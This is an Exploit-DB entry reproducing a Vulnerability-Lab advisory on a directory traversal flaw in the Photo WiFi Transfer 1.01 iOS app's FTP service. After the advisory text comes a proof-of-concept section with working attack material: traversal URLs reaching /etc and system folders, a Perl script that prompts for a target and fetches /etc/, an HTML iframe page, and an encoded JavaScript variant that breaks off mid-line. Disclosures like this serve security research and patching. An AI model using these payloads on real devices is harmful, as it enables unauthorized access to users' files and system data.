Exploit-DB #34243
Description: Photo WiFi Transfer 1.01 - Directory Traversal
Type: webapps
Platform: ios
Date: 2014-08-02
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Photo WiFi Transfer 1.01 - Directory Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1285


Release Date:
=============
2014-07-31


Vulnerability Laboratory ID (VL-ID):
====================================
1286


Common Vulnerability Scoring System:
====================================
6.7


Product & Service Introduction:
===============================
Using this app, you can download photos to a PC or a smartphone from your iPhone through WiFi. The app provides the easiest and 
fastest way to do it. Just run the app on the iPhone and open the web browser on your PC or another smart phone. That is all 
that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to 
access the photos. Do not pay money for these functions as the app provides all of them without charging. 

(Copy of the Homepage: https://itunes.apple.com/us/app/photo-wifi-transfer/id892772036 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a directory traversal vulnerability in the official BlueFinger Photo WiFi Transfer v1.01 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-07-31: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
BlueFinger Apps
Product: Photo WiFi Transfer - iOS Mobile Web Application (FTP) 1.01


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official BlueFinger Photo WiFi Transfer v1.01 iOS mobile application.
The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information.

The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass 
the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on 
the application-side of the service and to perform malicious request the `GET method` is required to use.

After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access 
unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required 
to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but 
also the parent device directory.

The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction. 
Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise.

Request Method(s):
			[+] GET

Vulnerable Module(s):
			[+] Directory

Vulnerable Parameter(s):
			[+] path

Affected Module(s):
			[+] Parent Directory (ftp://localhost:8080/)


Proof of Concept (PoC):
=======================
The directory traversal web vulnerability can be exploited by attackers without privileged application user account and user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Exception:
50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/photo/../../etc/passwd No such file or directory.

Standard Request:
ftp://localhost:8080/../../Documents/

PoC: Links
ftp://localhost:8080/../../../../../../../../../../../../../../../../etc
ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/
ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/
ftp://localhost:8080/../../../../../../../../../../../../../../../../System/


Exploit: PoC (PL)
#!/usr/bin/perl
use LWP::Simple;
print "-------------------------------------------\n";
print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n";
print "-------------------------------------------\n\n";

print "Target(ftp://localhost:8080/)\> ";
chomp($targ = <STDIN>);

print "Path: (/fn25/)\>";
chomp($path=<STDIN>);

$url = "../../../../../../../../etc/";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $page\n";


Exploit: PoC (HTML)
<html>
<head><body><title></title>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../etc>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../System/>
</body></head>
<html>


Exploit: PoC (JS)
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src%3Dftp%3A//
localhost%3A8080/../../../../../../../../../../../../../../../../etc%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/
../../../../../../../../../../../../../../../../usr/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../
../../../../../../../../../../../Applications/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../../../
../../../../../../../../../System/%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document